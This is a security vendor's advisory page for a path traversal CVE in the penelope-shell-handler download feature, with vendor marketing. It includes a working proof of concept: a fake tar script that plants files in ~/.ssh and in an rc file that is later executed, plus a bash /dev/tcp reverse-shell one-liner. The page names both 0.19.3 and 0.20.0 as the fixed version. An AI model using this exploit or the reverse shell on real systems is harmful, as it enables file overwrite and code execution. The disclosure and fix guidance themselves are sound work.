CVE-2026-50558

CVE-2026-50558 is a medium-severity path traversal vulnerability in penelope-shell-handler (pip), affecting versions < 0.20.0. It is fixed in 0.20.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Penelope unsafe tar extraction allows arbitrary local file write via crafted session archive

Penelope versions prior to 0.19.3 extracted tar archives received from remote sessions without validating archive member paths. When using the affected Unix download path, a malicious or compromised remote session could return a crafted tar archive containing path traversal entries, such as ../, causing files to be written outside the intended download directory on the Penelope operator's machine.

The impact is limited to files writable by the user running Penelope. In some cases, this arbitrary file write could be chained to operator-side code execution if the attacker can overwrite a file that Penelope or the user later executes, such as ~/.penelope/peneloperc. The issue has been fixed in version 0.19.3 by rejecting unsafe archive paths during extraction.

Affected conditions

The issue requires the operator to use the Main Menu download command to download files from a malicious or compromised remote session that can influence the tar archive returned to Penelope. The Python agent download path is not affected in the same way because it does not rely on the remote tar command.

The vulnerable behavior is related to Python's historical tarfile extraction defaults. In Python versions before 3.14, TarFile.extractall() did not use the safer data extraction filter by default, so applications extracting untrusted tar archives needed to explicitly provide a safe extraction filter or perform their own path validation.

Python 3.14 changes the default extraction behavior to use the data filter, which rejects dangerous archive features such as absolute paths and paths outside the destination directory. Penelope 0.19.3 now performs explicit validation/rejection of unsafe archive paths so the fix does not depend on the Python runtime version.

Details

The vulnerable code is in the Unix download() implementation.

Penelope creates a local download directory:

local_download_folder = self.directory / "downloads"

Later, it opens a tar archive received from the remote session:

tar = tarfile.open(mode=mode, fileobj=tar_source)

Then it extracts all members without validating archive paths:

tar.extractall(local_download_folder)

Because member names are trusted, a malicious tar archive can contain paths such as:

../../../../../home/operator/.penelope/peneloperc

This escapes the intended local_download_folder and writes to an arbitrary path writable by the Penelope operator.

The same extraction block also suppresses Python's DeprecationWarning around unsafe tar extraction:

with warnings.catch_warnings():
    warnings.simplefilter("ignore", category=DeprecationWarning)
    tar.extractall(local_download_folder)

The file-write impact can be chained with Penelope's rc loading behavior:

def load_rc():
    RC = Path(options.basedir / "peneloperc")
    try:
        with open(RC, "r") as rc:
            exec(rc.read(), globals())

By default, options.basedir is ~/.penelope, so the executed rc file is:

~/.penelope/peneloperc

Since session downloads are stored under ~/.penelope/sessions/<session>/downloads, a crafted tar member can traverse upward and plant or replace ~/.penelope/peneloperc. The planted Python code executes when Penelope starts again or when the operator runs reload.

PoC

The following reproduces the issue locally by simulating a malicious remote endpoint. The fake tar binary is placed first in PATH for the test shell, so when Penelope asks the remote session to run tar, the remote session returns a crafted archive with path traversal entries.

Start Penelope in Terminal 1:

penelope -p 4444 -U -C #No upgrade and session connection needed

Prepare the fake remote tar in Terminal 2:

mkdir -p /tmp/penelope-fakebin
mkdir -p "$HOME/.penelope" "$HOME/.ssh"
cp -f "$HOME/.penelope/peneloperc" /tmp/peneloperc.backup 2>/dev/null || true

cat > /tmp/penelope-fakebin/tar <<'EOF'
#!/usr/bin/env python3
import io
import os
import sys
import tarfile
import time

home = os.path.expanduser("~")
target_home = home.lstrip("/")

def add_file(tar, target, data):
    data = data.encode()
    info = tarfile.TarInfo(target)
    info.size = len(data)
    info.mode = 0o644
    info.mtime = int(time.time())
    tar.addfile(info, io.BytesIO(data))

with tarfile.open(mode="w:gz", fileobj=sys.stdout.buffer) as tar:
    add_file(tar, "../../../../../" + target_home + "/PENELOPE_CVE_PROOF.txt", "Penelope path traversal proof\n")
    add_file(tar, "../../../../../" + target_home + "/.ssh/PENELOPE_SSH_KEY.txt", "fake-demo-ssh_key-not-for-authentication\n")
    add_file(
        tar,
        "../../../../../" + target_home + "/.penelope/peneloperc",
        "open('/" + target_home + "/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\\n')\n"
    )
EOF

chmod +x /tmp/penelope-fakebin/tar
touch /tmp/penelope_dummy

Connect the local test shell back to Penelope in Terminal 2:

PATH=/tmp/penelope-fakebin:$PATH bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

In Terminal 1, inside Penelope, trigger the vulnerable download:

download /tmp/penelope_dummy

Verify in Terminal 3 that files were written outside the intended download directory:

cat "$HOME/PENELOPE_CVE_PROOF.txt"
cat "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
grep PENELOPE_RC_EXECUTED "$HOME/.penelope/peneloperc"

Expected output includes:

Penelope path traversal proof
fake-demo-ssh_key-not-for-authentication
open('/home/<user>/PENELOPE_RC_EXECUTED.txt', 'w').write('peneloperc executed via reload\n')

In Terminal 1, inside Penelope, execute the planted rc line:

reload

Verify in Terminal 3 that peneloperc executed:

cat "$HOME/PENELOPE_RC_EXECUTED.txt"

Expected output:

peneloperc executed via reload

Cleanup:

rm -f "$HOME/PENELOPE_CVE_PROOF.txt"
rm -f "$HOME/.ssh/PENELOPE_SSH_KEY.txt"
rm -f "$HOME/PENELOPE_RC_EXECUTED.txt"
if [ -f /tmp/peneloperc.backup ]; then cp -f /tmp/peneloperc.backup "$HOME/.penelope/peneloperc"; else rm -f "$HOME/.penelope/peneloperc"; fi
rm -f /tmp/peneloperc.backup
rm -rf /tmp/penelope-fakebin
rm -f /tmp/penelope_dummy

Impact

A malicious remote session can write arbitrary files on the Penelope operator's machine, limited to the permissions of the user running Penelope.

For a non-root operator, this may be chained to operator-side code execution only if the attacker can overwrite a user-writable file that Penelope or the user later executes, such as:

~/.penelope/peneloperc
~/.bashrc
~/.profile
~/.config/autostart/*.desktop

For a root operator, the impact is higher because root-writable files may be overwritten.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-50558 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.20.0); upgrading removes the vulnerable code path.

Affected versions

penelope-shell-handler (< 0.20.0)

Security releases

penelope-shell-handler → 0.20.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Validate every archive member before extraction by resolving the final destination path and rejecting paths outside the intended download directory. Reject symlink and hardlink members. On supported Python versions, filter="data" can be used as an additional safeguard.

Frequently Asked Questions

  1. What is CVE-2026-50558? CVE-2026-50558 is a medium-severity path traversal vulnerability in penelope-shell-handler (pip), affecting versions < 0.20.0. It is fixed in 0.20.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. How severe is CVE-2026-50558? CVE-2026-50558 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of penelope-shell-handler are affected by CVE-2026-50558? penelope-shell-handler (pip) versions < 0.20.0 is affected.
  4. Is there a fix for CVE-2026-50558? Yes. CVE-2026-50558 is fixed in 0.20.0. Upgrade to this version or later.
  5. Is CVE-2026-50558 exploitable, and should I be worried? Whether CVE-2026-50558 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-50558 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-50558? Upgrade penelope-shell-handler to 0.20.0 or later.

Stop the waste.
Protect your environment with Kodem.